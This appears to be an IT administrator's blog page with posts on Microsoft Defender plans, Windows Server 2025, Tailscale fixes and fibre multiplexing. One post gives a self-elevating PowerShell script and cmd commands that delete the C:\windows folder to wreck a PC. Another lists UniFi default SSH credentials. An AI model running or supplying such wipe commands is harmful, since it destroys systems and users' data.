November 25, 2024NR

What Are the Differences Between Microsoft Defender for Office 365 P1 & P2, and Is It Worth the Price Difference?

What Are the Differences Between Microsoft Defender for Office 365 P1 & P2?

When it comes to protecting your organisation from email-based threats, Microsoft Defender for Office 365 is a leading solution. But with two plans available — Plan 1 (P1) and Plan 2 (P2) — it can be difficult to know which is the best fit for your business. In this article, we’ll compare the two plans and help you decide if the additional features in Plan 2 are worth the higher cost.

Key Differences Between Plan 1 (P1) and Plan 2 (P2)

Feature	Plan 1 (P1) £1.64 user/month	Plan 2 (P2) £4.10 user/month
Protection Against Phishing	Yes	Yes
Anti-Spam Protection	Yes	Yes
Safe Links	Yes	Yes
Safe Attachments	Yes	Yes
Threat Intelligence	Yes	Yes
Attack Simulator	No	Yes
Automated Investigation and Remediation	No	Yes
Advanced Threat Protection Reports	No	Yes
Custom Policies for Safe Links	No	Yes
Advanced Threat Hunting	No	Yes
Real-time Threat Detection	No	Yes

Plan 1: Essential Protection for Office 365

Plan 1 provides essential protection against common email threats like phishing, malware, and spam. Here’s what you get with Plan 1:

Protection Against Phishing: Helps to identify and block phishing attacks targeting your users.
Anti-Spam Protection: Blocks unwanted email and protects against spam.
Safe Links: Provides real-time protection by scanning URLs in email messages to prevent users from clicking on malicious links.
Safe Attachments: Scans email attachments for potential threats and isolates them for analysis.

Plan 1 is ideal for businesses that need basic email protection and are using Microsoft 365 services for communication and collaboration.

Features Only Available in Plan 2

Plan 2 builds on the protection offered in Plan 1 and adds additional advanced features for organisations that need more sophisticated defences. In addition to everything in Plan 1, Plan 2 includes:

Attack Simulator: Helps simulate real-world phishing attacks to test your organisation’s security awareness and training.
Automated Investigation and Remediation: Automatically investigates and remediates threats to reduce manual intervention and improve response times.
Advanced Threat Protection Reports: Provides in-depth reporting on threats targeting your organisation.
Custom Policies for Safe Links: Customises the protection of URLs to suit your organisation’s specific security needs.
Advanced Threat Hunting: Allows you to proactively search for and identify potential threats within your environment.
Real-time Threat Detection: Detects and responds to advanced threats in real time, ensuring quicker mitigation.

Plan 2 is designed for organisations that require more advanced protection and want automated security management, as well as additional tools for threat investigation and prevention.

These exclusive capabilities make Plan 2 the go-to choice for businesses that need more control over their email security and quicker, more efficient responses to emerging threats.

Is the Extra Cost for Plan 2 Worth It?

Choosing between Plan 1 and Plan 2 depends on the needs of your organisation, your budget, and the level of protection you require. Here’s a quick breakdown:

Plan 1: Best for smaller organisations or those who only need essential protection for email security. It’s a cost-effective option that provides solid defences and is included in Microsoft 365 Business Premium and Microsoft 365 E3 licences.
Plan 2: Ideal for larger organisations or those with higher security needs. Plan 2 includes all features of Plan 1 plus advanced protection tools, custom policies, and automation. Plan 2 is available with Microsoft 365 E5 licences.

If your organisation faces a higher risk of targeted attacks, or you need enhanced security and more automation, the additional cost for Plan 2 could be well worth it for the added peace of mind.

November 18, 2024NR

What Are the Differences Between Microsoft Defender for Endpoint P1 & P2, and Is It Worth the Price Difference?

Microsoft Defender for Endpoint Plan 1 vs Plan 2

When it comes to protecting your business from cyber threats, Microsoft Defender for Endpoint (MDE) is a solid choice. But with two plans available — Plan 1 (P1) and Plan 2 (P2) — it can be tough to know which one is right for your organisation. In this article, we’ll break down the differences between the two plans and help you decide if the extra cost for Plan 2 is worth it.

Key Differences Between Plan 1 (P1) and Plan 2 (P2)

Feature	Plan 1 (P1)	Plan 2 (P2)
Next-Generation Protection	Yes	Yes
Attack Surface Reduction	Yes	Yes
Device Control (e.g., USB management)	Yes	Yes
Endpoint Firewall	Yes	Yes
Network Protection	Yes	Yes
Web Content Filtering	Yes	Yes
Device-Based Conditional Access	Yes	Yes
Centralised Management	Yes	Yes
Application Control	Yes	Yes
APIs and SIEM Connector	Yes	Yes
Advanced Security Reports	Yes	Yes
Endpoint Detection and Response (EDR)	No	Yes
Automated Investigation and Remediation	No	Yes
Threat and Vulnerability Management	No	Yes (with MDVM add-on)
Advanced Threat Hunting	No	Yes
Sandboxing	No	Yes
Managed Threat Hunting Service	No	Yes
Threat Intelligence	Yes	Yes
Microsoft Secure Score for Devices	Yes	Yes

Plan 1: Basic Protection at a Lower Cost

Plan 1 is great for businesses that need essential protection without breaking the bank. Here’s what you get:

Core protection: Defends your devices from malware and other malicious software.
Device control: Manages access to USB devices and other peripherals.
Centralised management: Lets you manage and monitor your devices from one dashboard.

Plan 1 is a good choice for smaller companies or those with less complex security needs.

Plan 2: Advanced Protection for Greater Peace of Mind

Plan 2 takes endpoint security to the next level, offering everything in Plan 1 plus powerful features for businesses that need more advanced protection. These include:

Advanced threat detection and response: Finds and stops advanced threats that could bypass basic security measures.
Automated investigation and remediation: Reduces manual effort by automating threat analysis and response.
Threat and vulnerability management: Identifies and resolves vulnerabilities across your network.
Proactive threat hunting: Actively searches for potential threats before they cause damage.

If your organisation handles sensitive data or faces higher risks, Plan 2 is the better option, offering more comprehensive security tools.

Features Only Available in Plan 2

These are the exclusive features that come with Plan 2 — and they’re crucial for businesses that need extra layers of protection:

Endpoint Detection and Response (EDR): Detects and responds to sophisticated cyberattacks in real time.
Automated Investigation and Remediation: Speeds up incident response by automating security tasks.
Threat and Vulnerability Management: Helps spot and fix security weaknesses before they are exploited.
Advanced Threat Hunting: Proactively searches for hidden threats within your network.
Sandboxing: Safely analyses suspicious files to block potentially harmful content.
Managed Threat Hunting Service: Gives you expert help to track and eliminate emerging threats.

These additional capabilities make Plan 2 a powerful choice for businesses that need top-tier protection and quicker response times.

Is the Extra Cost for Plan 2 Worth It?

The choice between Plan 1 and Plan 2 depends on your company’s size, budget, and security needs. Here’s a quick breakdown:

Plan 1: Ideal for smaller organisations or those with basic security needs. It provides core protection and is included in Microsoft 365 E3/A3 licences.
Plan 2: Best for larger businesses or those that need enhanced security features like automated threat hunting and vulnerability management. Plan 2 comes with Microsoft 365 E5/A5/G5 licences.

If you don’t face significant cybersecurity risks, Plan 1 might be all you need. However, if you’re dealing with sensitive data, have a larger workforce, or need advanced protection, the added cost of Plan 2 could be worthwhile for the peace of mind it offers.

November 14, 2024NR

What GPU’s does Windows Server 2025 support for GPU Partitioning? [Solved]

Supported GPUs for GPU Partitioning in Windows Server 2025

Virtualization has transformed IT, enabling us to run multiple VM’s and OS’s on a single server. But for resource-intensive tasks like AI and machine learning, powerful graphics processing is essential. This is where Windows Server 2025’s GPU partitioning comes into play, allowing multiple virtual machines (VMs) to share a single GPU’s power, optimising usage and enhancing workload capacity.

What is GPU Partitioning?

With GPU partitioning, a single physical GPU can be split into multiple virtual GPUs (vGPUs), each assigned to different VMs. This enables simultaneous execution of resource-heavy tasks, like AI and ML workloads, all on a shared GPU—making it a game-changer for high-demand environments.

Supported GPUs

Currently only a handful of NVIDIA GPUs currently support partitioning with Windows Server 2025. Here’s a list of the compatible graphics cards supported for Windows Server 2025 for GPU Partitioning:

GPU Model	Rough Cost (USD)	CUDA Cores	TF32 teraFLOPS or Tensor Cores	Memory (GB)	TDP (Watts)
NVIDIA A2	£1300-1800	1280	40-60	16	40-60
NVIDIA A10	£2300+	8192	275-410	24	150
NVIDIA A16	£2700+	5120 (4x 1280)	4x 40 Cores	64	250
NVIDIA A40	£5100+	10,752	74.8 – 149.6	48	300
NVIDIA L2	Not out yet	n/a	48.3	24	TBD
NVIDIA L4	£2500+	n/a	120	24	72
NVIDIA L40	£7500+	18176	568 \| Gen 4 Cores	48	300
NVIDIA L40S	£9700+	18,176	366	48	350

Notes

My pick would be the NVIDIA A16 currently offering what is basically 4 GPU’s on one card already making it ideal for partitioning.
Details for some GPUs, especially newer models, are limited and may change as they become more widely available.
Most of these cards are made for the enterprise market, so don’t go thinking you will suddenly be able to set up 4 gaming PC’s on one server and get good graphic results! Whilst it may be possible, these are designed more around tensor cores, useful for AI and deep learning than Cuda cores, which are more multipurpose.

Windows Server 2025’s GPU partitioning unlocks powerful capabilities for optimising hardware and running demanding workloads. While limited to specific NVIDIA GPUs, it’s a step forward for those looking to enhance their system’s efficiency and boost VM computational power. Understanding which GPUs work best for what workloads will become the next big learning curve!

November 13, 2024NR

Windows Server 2025: My Top New Favourite Features

Windows Server 2025: Enhanced Security, Performance, and Cloud Integration

It’s finally here! Microsoft has unveiled its latest server operating system, Windows Server 2025, and it should provide significant advancements in performance, security, and cloud integration. Below are some of the features that stuck out to me with my first install.

My Top 5 New Features of Windows Server 2025

Block Cloning: This feature significantly improves file copy performance, especially for large files, optimising file operations by copying only modified blocks, reducing I/O and improving performance for large files.
SMB over QUIC: This enables secure access to file shares over the internet, providing faster and more reliable file transfers using native SMB technologies.
Hotpatching: This allows for the application of security updates to running servers with minimal downtime, no more out of hours scheduling of reboots!
GPU Partitioning: This lets you split up GPU resources by allowing them to be divided into smaller, virtualized GPUs, adding GPU resources to a VM? Yes please!.
Enhanced Active Directory: This includes features like AD object repair, optional 32k database page size, and improved security for confidential attributes and default machine account passwords.

Key Features of Windows Server 2025:

Enhanced Security: Robust security measures, including hardened SMB protocols, improved Active Directory, and enhanced protection against cyber threats.
Accelerated Performance: Significant performance boosts for virtualization, storage, and networking, especially for AI and machine learning workloads.
Seamless Cloud Integration: Improved integration with Azure for hybrid and multi-cloud environments, enabling seamless workload migration and management.
Modernized Infrastructure: Support for the latest hardware and software technologies, including NVMe storage and GPU acceleration.
Its just a bit better in every way from Server 2022 – and 100% better than 2012 R2!

Feature	Windows Server 2025	Windows Server 2022	Windows Server 2012 R2
Security	Enhanced security protocols, improved AD, stronger threat protection	Robust security features, including shielded VMs and credential guard	Basic security features with early Active Directory improvements and Security Essentials
Performance	Accelerated virtualization, storage, and networking, optimized for AI/ML	Strong performance, especially for virtualization and storage	Improved performance for Hyper-V and storage, but limited optimization for newer technologies
Cloud Integration	Deeper Azure integration, seamless workload migration	Good Azure integration, basic hybrid cloud capabilities	Limited cloud integration, early support for hybrid environments with System Center
Hardware Support	Support for latest hardware, including NVMe and GPU	Support for modern hardware, including NVMe	Support for basic hardware configurations; limited support for emerging hardware like NVMe

In summary, Windows Server 2025 steps up the game with smarter security, better performance, and seamless cloud connectivity. From the efficient file handling with Block Cloning to downtime-reducing Hotpatching, it’s clear this release is built to make life easier for us admins. Adding GPU Partitioning for VM flexibility and enhanced AD features, Microsoft has pushed the envelope to give us a modern, future-proof server OS that seamlessly connects to Azure and Entra.

With all these updates, Windows Server 2025 is a significant improvement over its predecessor, Windows Server 2022, and a massive leap from the now-aged Server 2012 R2. Finally, if you are thinking about upgrading now EOL servers. This one’s worth it!

July 10, 2024NR

[Solved] Default username and password for Unifi Gateway Pro (UXG-Pro)

Default passwords for Unifi kit

Whilst most AP’s and Unifi devices can be ssh’d into using ubnt/ubnt there are a few exceptions to this rule, for example the UXG-Pro is root/ubnt.
Prior to setup/adoption, all devices have a set of default credentials below is what they are as of 06/2024.

UniFi Consoles – root / ui (root / ubnt on older devices)
UniFi Gateways – root / ui (root / ubnt on older devices)
UniFi Devices – ui / ui (ubnt / ubnt on older devices)

August 30, 2023NR

Logging into Tailscale using Microsoft O365 Credentials on Windows

Follow these steps to log into Tailscale using Microsoft O365 credentials:

Pre-requisites:
- Ensure the PC is connected to the internet.
- Confirm that Tailscale is installed.
Locating the Taskbar Icon:
- Look for the Tailscale icon in the Windows taskbar, usually near the clock.
Clicking the Icon:
A. Click on the Tailscale icon, or right click and select ‘log in’ to initiate the login process.
B. If this doesn’t work, check if there is using multiple network interfaces (e.g., Wi-Fi and Ethernet) simultaneously. If multiple interfaces are being used, set the interface’s “Automatic Metric” to manual and enter a value.
Microsoft O365 Sign-in:
- A Tailscale login window will appear.
- Select the “Sign in with Microsoft” option.
Redirect to Microsoft Login:
- The default browser will be opened and redirected to the Microsoft O365 login page.
- Use O365 credentials (email and password).
Two-Factor Authentication (if applicable):
- If prompted for two-factor authentication, complete the required steps.
Granting Permissions (if applicable):
- If windows, or O365 asks to grant permissions, review the requested permissions and click “Allow” or “Accept.”
Connecting to the Network:
- After successful login, the Tailscale app will attempt to establish a secure connection to the network.
Check connection
- Check if it says ‘connected’ or ‘disconnected’ in the taskbar.
Done.

August 10, 2023NR

[Solved] Clicking on Tailscale icon does not let me login

Occasionally i have come accross a Tailscale client that does not initially want to display the log in page.

I originally also tried running CLI commands like “tailscale up –authkey xxxxxxxxxx” as well – it seems to hang.

So when CLI and clicking on the icon in the taskbar via the GUI to log in doesn’t work – Check your network cards!
This is usually caused when Tailscale cannot tell which network card has priority.

On Windows:

Win + R //to open run
ncpa.cpl //to open the network settings
Select main network card
Open Properties, then IPv4
Click on Advanced, untick ‘Automatic Metric
Set to 10.

setting network card interface metric to solve tailscale issues

Try again. Chances are, tailscale will now let you login and generate the login page popup allowing sign on. Authkey authentication should also now work.

January 8, 2023NR

The Windows Death command – How to kill a windows PC [Revisited]

So about 7 years ago I wrote the original blog post on killing a windows PC.
Turns out it was one of my most popular posts! So with that in mind, lets update that script to use Powershell – seeing as it is 2023 now.

The core basics of the command have not changed much, just the delivery method.
Below is the new Windows Death command:
TakeOwn /F C:\windows /R /D Y Remove-Item -Recurse -Force C:\windows

Simply run the above in an elevated powershell window to wipe the PC.
It really is that simple.

Now how do we make this into a file that we can just right click and run?
Copy and paste the below into a file, and name it PCKiller.PS1 or similar- then right click and ‘Run with Powershell’ Simple as that:
# Check if script is running as administrator if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { # If not running as administrator, elevate permissions $arguments = "& '" + $myinvocation.mycommand.definition + "'" Start-Process powershell -Verb runAs -ArgumentList $arguments Break }

# Set window title and colors $host.UI.RawUI.WindowTitle = "Destroy Windows PC" $host.UI.RawUI.WindowPosition = "maximized" $host.UI.RawUI.BackGroundColor = "green" $host.UI.RawUI.ForeGroundColor = "white" Clear-Host

# Take ownership of the Windows folder TakeOwn /F C:\windows /R /D Y

# Get the total number of files and directories to be deleted $total = (Get-ChildItem -Recurse C:\windows | Measure-Object).Count $current = 0

# Delete the files and directories Get-ChildItem -Recurse C:\windows | Remove-Item -Force -Recurse -Verbose -ErrorAction SilentlyContinue | ForEach-Object { $current++ Write-Progress -Activity "Deleting files" -Status "Progress: $current/$total" -PercentComplete (($current/$total)*100) }

This script first takes ownership of the Windows folder using the TakeOwn command, just like in the previous version. It then uses the Get-ChildItem command to get a list of all files and directories in the Windows folder and its subfolders. The Measure-Object command is used to count the total number of items, and this count is stored in the $total variable.

Next, the script uses a ForEach-Object loop to iterate over each item in the list and delete it using the Remove-Item command. The -Verbose parameter displays a message for each item that is deleted, and the -ErrorAction SilentlyContinue parameter tells the script to continue running even if an error occurs (such as if a file is in use). The Write-Progress command is used to display a status bar showing the progress of the deletion.

Or if you still like using command prompt, the original an still the best as previously posted will still work:
del /S /F /Q /A:S C:\windows

January 5, 2023NR

Fibre: Comparison table of the three main types of fibre multiplexing

Below is a comparison table of the three main types of fibre multiplexing: wavelength division multiplexing (WDM), frequency division multiplexing (FDM), and time division multiplexing (TDM). The table rates each method on a scale of 1 to 10 in terms of capacity, transmission rates, complexity, and susceptibility to interference.

Method	Capacity (1-10)	Transmission Rates (1-10)	Complexity (1-10)	Interference (1-10)
WDM	10	10	8	2
FDM	8	8	6	6
TDM	6	6	2	8

Note that these ratings are subjective and may vary depending on the specific application and implementation of each method. However, this table should give you a general idea of the relative strengths and weaknesses of each method of fibre multiplexing.

January 5, 2023NR

Fibre Multiplexing: An Overview of Frequency Division Multiplexing (FDM)

Fibre multiplexing is a technique used to transmit multiple signals over a single fibre optic cable, allowing for efficient use of bandwidth and high transmission rates. One popular method of fibre multiplexing is frequency division multiplexing (FDM).

In this article, we’ll take a closer look at FDM and its key features, advantages, and disadvantages.

What is Frequency Division Multiplexing (FDM)?

Frequency division multiplexing (FDM) is a method of transmitting multiple signals over a single fibre optic cable by using different frequency bands for each signal. This allows for a higher capacity and faster transmission rates, as multiple signals can be transmitted simultaneously over the same fibre optic cable.

FDM is commonly used in telecommunications and other applications where a large amount of data needs to be transmitted over long distances. It is also used in local area networks (LANs) and other short-distance applications.

Advantages of FDM

There are several advantages to using FDM as a method of fibre multiplexing:

High capacity: FDM allows for a higher capacity than other methods of fibre multiplexing, as multiple signals can be transmitted simultaneously over the same fibre optic cable.
Fast transmission rates: FDM allows for fast transmission rates, making it suitable for high-speed data transmission over long distances.
Efficient use of bandwidth: FDM allows for efficient use of bandwidth, as multiple signals can be transmitted simultaneously over the same fibre optic cable.

Disadvantages of FDM

There are also some disadvantages to using FDM as a method of fibre multiplexing:

Complexity: FDM systems can be more complex to set up and manage than other methods of fibre multiplexing.
Interference: FDM systems are susceptible to interference from other signals in the same frequency band, which can degrade the quality of the transmitted signal.

Overall, FDM is a useful method of fibre multiplexing that can provide high capacity, fast transmission rates, and efficient use of bandwidth in certain situations. However, it’s important to carefully consider the potential complexity and interference issues of FDM systems when deciding which method of fibre multiplexing is right for you.